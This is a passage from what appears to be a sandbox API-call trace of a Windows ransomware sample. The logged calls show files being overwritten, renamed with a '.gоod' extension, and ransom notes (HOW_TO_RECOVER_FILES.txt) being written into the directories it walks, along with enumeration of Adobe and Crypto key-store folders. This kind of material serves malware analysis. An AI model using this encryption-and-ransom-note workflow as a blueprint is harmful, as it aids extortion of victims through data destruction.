lpOldMode=0x1faee5a0) returned 1 [0107.259] GetFileType (hFile=0x7dc) returned 0x1 [0107.259] ReadFile (in: hFile=0x7dc, lpBuffer=0x347c7e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x347c7e8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0107.287] CloseHandle (hObject=0x7dc) returned 1 [0107.287] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0107.287] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.287] GetFileType (hFile=0x7dc) returned 0x1 [0107.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0107.287] GetFileType (hFile=0x7dc) returned 0x1 [0107.287] WriteFile (in: hFile=0x7dc, lpBuffer=0x347b528*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x347b528*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0107.287] CloseHandle (hObject=0x7dc) returned 1 [0107.287] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpFilePart=0x0) returned 0x56 [0107.288] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.gоod", lpFilePart=0x0) returned 0x5b [0107.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0107.288] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x3c29203c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9bded)) returned 1 [0107.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0107.288] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.gоod")) returned 1 [0107.288] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0107.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0107.288] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.656] GetFileType (hFile=0x768) returned 0x1 [0107.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0107.656] GetFileType (hFile=0x768) returned 0x1 [0107.817] WriteFile (in: hFile=0x768, lpBuffer=0x3695738*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x3695738*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0107.818] CloseHandle (hObject=0x768) returned 1 [0107.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.820] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files", lpFilePart=0x0) returned 0x3a [0107.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 1 [0107.821] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0 [0107.821] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.821] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files", lpFilePart=0x0) returned 0x3a [0107.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.822] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.822] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 1 [0107.822] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.822] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0107.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", lpFilePart=0x0) returned 0x61 [0107.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.823] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.823] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 1 [0107.823] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.823] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0107.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0107.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0107.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", lpFilePart=0x0) returned 0x61 [0107.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.823] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 1 [0107.824] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRdrDC1500720033_en_US.msi", cAlternateFileName="ACRORD~1.MSI")) returned 0 [0107.824] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0107.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0107.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi", lpFilePart=0x0) returned 0x7f [0107.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0107.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\setup files\\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\\acrordrdc1500720033_en_us.msi"), fInfoLevelId=0x0, lpFileInformation=0x36b3ba0 | out: lpFileInformation=0x36b3ba0*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xe3667780, ftCreationTime.dwHighDateTime=0x1d16599, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe3667780, ftLastWriteTime.dwHighDateTime=0x1d16599, nFileSizeHigh=0x0, nFileSizeLow=0x3c1ca00)) returned 1 [0107.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0107.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi", lpFilePart=0x0) returned 0x7f [0107.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0107.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\setup files\\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\\acrordrdc1500720033_en_us.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0107.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faea5f0) returned 1 [0107.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0107.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0107.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\setup files\\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.840] GetFileType (hFile=0x768) returned 0x1 [0107.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0107.840] GetFileType (hFile=0x768) returned 0x1 [0107.840] WriteFile (in: hFile=0x768, lpBuffer=0x36e4138*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x36e4138*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0107.842] CloseHandle (hObject=0x768) returned 1 [0107.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x53 [0107.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0107.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\setup files\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.842] GetFileType (hFile=0x768) returned 0x1 [0107.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0107.842] GetFileType (hFile=0x768) returned 0x1 [0107.843] WriteFile (in: hFile=0x768, lpBuffer=0x36e79d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x36e79d0*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0107.844] CloseHandle (hObject=0x768) returned 1 [0107.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x26 [0107.845] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.851] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.851] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1 [0107.851] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0107.851] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0107.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0107.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0107.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", lpFilePart=0x0) returned 0x26 [0107.852] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x1faee6a0 | out: 